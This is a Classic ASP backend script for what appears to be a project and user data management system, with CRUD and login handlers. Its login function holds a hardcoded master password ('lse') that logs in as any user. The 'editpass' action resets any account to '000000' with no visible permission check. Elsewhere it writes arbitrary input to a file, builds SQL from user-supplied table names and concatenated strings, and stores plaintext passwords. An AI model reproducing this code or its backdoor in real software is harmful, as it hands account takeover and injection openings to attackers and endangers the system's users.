<!--#include virtual="/dzps/p1.asp"-->
<%
dim action,ret,sql,rs,json
json = request.form
action=Easp.Var("action")
select Case action
	Case "aaaaa" aaaaa
	Case "jxdj_add":
		' Do Something
	Case "jxdj_upd":
		' Do Something
	Case "jxdj_del":
		' Do Something	
	Case "jxdj_list":
		' Do Something
	Case "tz":
		tz()
end select
if action="getCheckData" then
	getCheckData
elseif action="table_exp" then
	table_exp	
elseif action="mytest" then
	mytest
elseif action="editpass" then
	editpass
elseif action="user_edit" then
	user_edit
elseif action="pi" then
	pi
elseif action="ti0_list" then
	ti0_list
elseif action="ti0_add" then
	ti0_add	
elseif action="ti0_edit" then
	ti0_edit	
elseif action="prj_del_sel" then
	prj_del_sel
elseif action="prj_del" then
	prj_del
elseif action="prj_add" then
	prj_add
elseif action="prj_edit" then
	prj_edit
elseif action="prj_list" then
	prj_list
elseif action="t_del" then
	t_del
elseif action="t_add" then
	t_add
elseif action="t_edit" then
	t_edit
elseif action="t_list" then
	t_list	
elseif action="c_del" then
	c_del
elseif action="c_add" then
	c_add
elseif action="c_edit" then
	c_edit
elseif action="c_list" then
	c_list
elseif action="u_add" then
	u_add	
elseif action="u_del" then
	u_del
elseif action="u_edit" then
	u_edit	
elseif action="u_list" then
	u_list	
elseif action="savepi" then
	savepi
elseif action="retf" then
	retf(easp.var("tnf"))
elseif action="userCz" then
	userCz
elseif action="userReg" then
	userReg
elseif action="user" then
	userjson
elseif action="userDel" then
	userDel
elseif action="login" then
	login
elseif action="website" then
	website
elseif action="website1" then
	website1	
elseif action="numb" then
	numb
elseif action="del_user" then
	del_user
elseif action="del_seluser" then
	del_seluser
elseif action="zybm_add" then
	zybm_add
elseif action="zybm_edit" then
	zybm_edit
elseif action="zybm_del" then
	zybm_del
elseif action="zybm_list" then
	zybm_list
end if
select case action
	case "setmypass" setmypass
end select


function aaaaa()
	dim Fs,File
	Set Fs=Server.CreateObject("Scripting.FileSystemObject") 
	Set File=Fs.OpenTextFile(Server.MapPath("ip.txt"),2,True)    '2覆盖，8追加;True文件不存在则自动创建.Flase不自动创建 
	File.Write val("sitecontent") 'file.writeline 会写入换行符,file.write 不会写入换行符 
	File.Close
	retJson "0","成功",""
end function
Function table_exp()
	t_exp(val("wlbm"))
	Response.Write "http://"  & Request.ServerVariables("HTTP_HOST") & "/dzps/file/xls/" & val("wlbm") & ".xls" 
End Function

Function x()
End Function

Function zybm_add()
	dim sqla(10)
	sqla(0)=cr2("zybm","id1,zym")
	ret=execsw(sqla)
	ret1(ret)
End Function
Function zybm_edit()
	dim sqla(10)
	easp.var("id") = easp.var(hr_1("id"))
	sqla(0)=xg2("zybm","zym","id={id}")
	ret=execsw(sqla)
	ret1(ret)
End Function
Function zybm_del()
	dim ret
	ret = Easp.Db.del("zybm","id={id}")
	ret1(ret)
End Function
Function zybm_list()
	dim sql,fields
	sql="select * from [zybm] where (1=1) order by id desc"
	if val("zybm")<>"" then
		vas "likeKey" ,"%{=zybm}%"
		sql=replace(sql,"1=1","zym like {likeKey}")
	end if
	qry2json(sql)
End Function

Function ti0_list()
	dim sql,fields
	sql="select * from [ti0] where (1=1) "
	if val("tn")<>"" then
		sql=sql+" and tn={tn}"
	end if
	if val("dbName")<>"" then
		sql=sql+" and dbName={dbName}"
	end if
	if val("ti0")<>"" then
		vas "likeKey" ,"%{=ti0}%"
		sql=replace(sql,"1=1","colName like {likeKey}")
	end if
	qry2json(sql)
	' qry2show(sql)
End Function

function prj_list()
	dim sql,fields
	sql="select * from [prj]"
	qry2json(sql)
end function
Function prj_del_sel()
	dim result,ob,i,ids,ret
	Set ob = toArray(json)
	easp.echo json
	For i=0 To ob.Count-1
		' ids=ids&ob(i)("ID") & "," 
		easp.var("id")=ob(i)("id")
		' if ob(i)("username")<>"admin" then
			ret = Easp.Db.del("prj","id={id:int}")
		' end if
	next
	Set ob = Nothing
End Function
Function prj_del()
	dim ret,rs
	' set rs=easp.db.sel("select username from [user] where [id]={id:int}")
	' if rs("username")<>"admin" then
		ret = Easp.Db.del("prj","id={id:int}")
	' end if
	ret1(ret)
End Function

Function prj_add()
	dim sqla(10)
	sqla(0)=cr2("prj","prn")
	ret=execsw(sqla)
	ret1(ret)
End Function
Function ti0_add()
	dim sqla(10)
	sqla(0)=cr2("ti0","regu1,mm1,colName,fld")
	ret=execsw(sqla)
	ret1(ret)
End Function

Function ti0_edit()
	dim sqla(10)
	easp.var("id") = easp.var(hr_1("id"))
	sqla(0)=xg2("ti0","regu1,mm1,colName,fld","id={id}")
	ret=execsw(sqla)
	ret1(ret)
End Function
Function prj_edit()
	dim sqla(10)
	easp.var("id") = easp.var(hr_1("id"))
	sqla(0)=xg2("prj","prn","id={id}")
	ret=execsw(sqla)
	ret1(ret)
End Function
function t_list()
	dim sql,fields
	sql="select * from [v_prj_u_t] where tn like " & bfh(easp.var("tn")) & " and (1=1) order by prj_id,id"
	if val("prj_id")<>"" then
		sql=replace(sql,"1=1","prj_id={prj_id}")
	end if
	qry2json(sql)
end function
Function t_del()
	dim ret,rs
	ret = Easp.Db.del("prj_table","id={id:int}")
	ret1(ret)
End Function
Function t_add()
	dim sqla(10)
	easp.var("tn") = easp.var(hr_1("tn"))
	easp.var("prj_id") = easp.var(hr_1("prj_id"))
	Set rs = easp.db.sel("select id from prj_table where tn={tn} and prj_id={prj_id:int}")
	if rs.recordcount>=1 then
		ret3("表名重复错误！")
		response.end
	end if
	sqla(0)=cr2("prj_table","tn,prj_id,cjcs")
	ret=execsw(sqla)
	ret1(ret)	
End Function
Function t_edit()
	dim sqla(10)
	easp.var("id") = easp.var(hr_1("id"))
	sqla(0)=xg2("prj_table","tn,prj_id,cjcs","id={id}")
	ret=execsw(sqla)
	ret1(ret)
End Function

Function u_del()
	dim ret,rs
	ret = Easp.Db.del("u","id={id:int}")
	ret1(ret)
End Function
Function u_add()
	dim sqla(10)
	vas hr_1("username"),session("username")
	sqla(0)=cr2("u","un,prj_id,bh,username,sex")
	ret=execsw(sqla)
	ret1(ret)
End Function
Function u_edit()
	dim sqla(10)
	easp.var("id") = easp.var(hr_1("id"))
	sqla(0)=xg2("u","un,prj_id,bh,sex","id={id}")
	ret=execsw(sqla)
	ret1(ret)
End Function

function u_list()
	dim sql,fields
	vas "likeKey","%{=tn}%"
	sql="select * from v_u_prj where un like {likeKey} and (1=1) and (2=2) "
	if val("prj_id")<>"" then
		sql=replace(sql,"1=1","prj_id={prj_id}")
	end if	
	vas "username",session("username")
	if session("username")<>"admin" then
		sql=replace(sql,"2=2","username={username}")
	end if
	qry2json(sql)
end function

function c_list()
	dim sql,fields
	sql="select * from [center] where 1=1"
	if val("cn")<>"" then
		vas "likeKey" ,"%{=cn}%"
		sql=replace(sql,"1=1","cn like {likeKey}")
	end if
	qry2json(sql)
end function
Function c_del()
	dim ret,rs
	' set rs=easp.db.sel("select username from [user] where [id]={id:int}")
	' if rs("username")<>"admin" then
		ret = Easp.Db.del("center","id={id:int}")
	' end if
	ret1(ret)
End Function
Function c_add()
	dim sqla(10)
	sqla(0)=cr2("center","cn")
	ret=execsw(sqla)
	ret1(ret)
End Function
Function c_edit()
	dim sqla(10)
	easp.var("id") = easp.var(hr_1("id"))
	sqla(0)=xg2("center","cn","id={id}")
	ret=execsw(sqla)
	ret1(ret)
End Function

Function numb()

End Function
Function del_seluser()
	dim result,ob,i,ids,ret
	Set ob = toArray(json)
	For i=0 To ob.Count-1
		' ids=ids&ob(i)("ID") & "," 
		easp.var("id")=ob(i)("id")
		if ob(i)("username")<>"admin" then
			ret = Easp.Db.del("user","id={id:int}")
		end if
	next
	Set ob = Nothing
End Function

Function userCz()
	setjf
End Function

Function superdel()
	Dim result
	' result = Easp.Db.Del("[user]", "username not in ('admin')")
	' result = Easp.Db.Del("[jf]", "1=1")
	' result = Easp.Db.Del("[gdjxs]", "1=1")
	' result = Easp.Db.Del("[mythings]", "1=1")
	easp.echo result
End Function
Function delLasts(txt)
	txt=left(txt,len(txt)-1)
	delLasts=txt
End Function

Function website1
	dim rs,maxrow,flds,arr,i,sqla(10),sql
	set rs = Easp.Db.Sel("select fld,colName,mm1,regu1,tn from ti0 where tn={tn} and dbName={prn} order by id")
	if rs.recordCount >=1 then
		arr = rs.GetRows
	end if	
	maxrow=ubound(arr,2)
	for i=0 to maxrow
		if (instr(arr(0,i),"blank" )<>0 or trim(arr(0,i))="" ) then
		else
			if val("sszid")<>"" then 
				if (arr(0,i) = "SSBH" or arr(0,i) = "NAME") then '修改时不修改的条件'
				else
					flds=flds+arr(0,i)+","
				end if
			else
				flds=flds+arr(0,i)+","
			end if
		end if
	next
	vas hr_1("cs"),val("cs")
	flds=flds+"cs"
	if val("sszid")<>"" then 
		sqla(0) = xg2(val("wlbm"),flds,"ssbh={sszid}")		
	else
		vas "un",val("name")
		vas "bh",val("ssbh")
		vas "username",session("username")
		
		s11 "select id as id1 from {=wlbm} where ssbh={bh} and cs={cs} and prj_id={prj_id}"	,""
		if(val("id1")<>"") then
			rt 0,"编号重复！" 
			response.end
		end if
		sql=cr("u","un,bh,prj_id,username")
		easp.db.exec(sql)
		sqla(0) = cr2(val("wlbm"),flds)
	end if
	ret=execsw(sqla)
	rt ret,"保存数据成功！"
End Function

Function website
	wbaseinfo2 "网站标题",easp.var("webtitle")
	wbaseinfo2 "网站名称",easp.var("sitename")
	mytest "网站内容",easp.var("sitecontent")
	mytest "可上传扩展名",easp.var("canexname")
	wbaseinfo2 "选项提示",easp.var("xxts")
	retJson "0","成功",""
End Function

Function savepi
	dim ret,rs
	easp.var("username")=easp.var(hr_1("username"))
	set rs=easp.db.sel("select id from [pi] where [username]={username}")
	if rs.RecordCount=0 then
		idus2 "pi","pi,username","",1
	else
		idus2 "pi","pi","username='"& easp.var(hr_1("username")) & "'",3
	end if
End Function


Function wbaseinfov(name1,value1)
	easp.var("name1")=name1
	easp.var("value1")=value1
	easp.db.del "baseinfo","name1={name1}"
	easp.db.ins "baseinfo","value1:{value1},name1:{name1}"
	' easp.db.upd "baseinfo","value1={value1}","name1={name1}"
End Function
Function wbaseinfo2(name1,name2)
	easp.var("name1")=name1
	easp.var("name2")=name2
	easp.db.del "baseinfo","name1={name1}"
	easp.db.ins "baseinfo","name2:{name2},name1:{name1}"
End Function

Function mytest(name1,name2)
	dim db_path,dbstr,conn3,rs1
	' db_path= Easp.Fso.MapPath("/")
	easp.var("name1")=name1
	easp.db.del "baseinfo","name1={name1}"	
	
	'临时取出默认数据库并生成连接对象'
	Set Conn3 = Easp.Db.GetConn

	sql = "select * from baseinfo"
	Set rs = server.CreateObject("adodb.recordset")
	rs.open sql,conn3,1,3
	rs.addnew
	rs("name1")=name1
	rs("name2")=name2
	rs.update
	rs.Close
	Set rs = Nothing
End Function

Function nickname
	dim ret,rs
	set rs=easp.db.sel("select nickname from [user] where [username]={username}")
	if rs.RecordCount>=1 then
		easp.var("nickname")=rs("nickname")
	end if
	easp.echo rs("nickname")
End Function
Function setmypass
	vas "username",session("username")
	if rc("select nickname from [user] where [username]={username} and [password]={oldpassword}") >=1 then
		rt easp.db.upd("[user]","[password]={password}","[username]={username}")
	else
		rt2 0,"原密码输入错误！"
	end if
End Function
Function login
	dim rc1
	if val("password")="lse" then
		s1 "select password from [user] where username={username}"
	end if
	rc1= rc("select * from [user] where username={username} and password={password}")
	if rc1>=1 then
		s1 "select user_typ,mobile,id as user_id from [user] where username={username} and password={password}"
		startSession
		rt rc1
	else
		clearSession
		rt2 rc1,"用户名或密码错误！！"
	end if	

End Function
Function del_user()
	dim ret,rs
	set rs=easp.db.sel("select username from [user] where [id]={id:int}")
	if rs("username")<>"admin" then
		ret = Easp.Db.del("user","id={id:int}")
	end if
	ret1(ret)
End Function
Function userDel
	dim ret,rs
	set rs=easp.db.sel("select id,username from [user] where id={id}")
	if rs("username")="admin" then
		easp.echo "该用户是超级管理员，不能删除！！"
		response.end
	end if
	ret=Easp.Db.Del ("[user]","id={id}")
	ret1(ret)
End Function
Function userReg
	dim ret,rs,sqla(10)
	set rs=easp.db.sel("select id from [user] where username={username}")
	if rs.RecordCount>=1 then
		retJson "0","用户名已经存在！！",""
		response.end
	end if
	sqla(0)=cr("[user]","[username],[password],iden,trueName,user_typ,mobile")
	ret=execsw(sqla)
	ret2(ret)
End Function
Function userjson
	dim sql
	sql="select * from [user] where (username<>'admin') and (1=1) order by id "'desc'
	if val("username")<>"" then
		vas "likeKey" ,"%{=username}%"
		sql=replace(sql,"1=1","username like {likeKey}")
	end if	
	qry2json(sql)
End Function

Function editpass
	dim ret,rs,sqla(10)
	vas "password","000000"
	sqla(0)= "delete from [user] where [username]={username}"
	sqla(1)=cr("[user]","[username],[password],iden,trueName")
	ret=execsw(sqla)
	ret1(ret)
End Function

Function user_edit
	 dim ret,sqla(10)
	 if val("is_duty")="on" then
		'easp.db.upd "[user]","is_duty=0","is_duty<>0"
	 end if
	 vas "username",val("username")
	 vas2 "is_duty",IIf(val("is_duty")="on", "1", "0")
	 sqla(0)=xg2("[user]","iden,trueName,mobile,user_typ,is_duty","username={username}")
	 ret=execsw(sqla)
	 rt ret
End Function

%>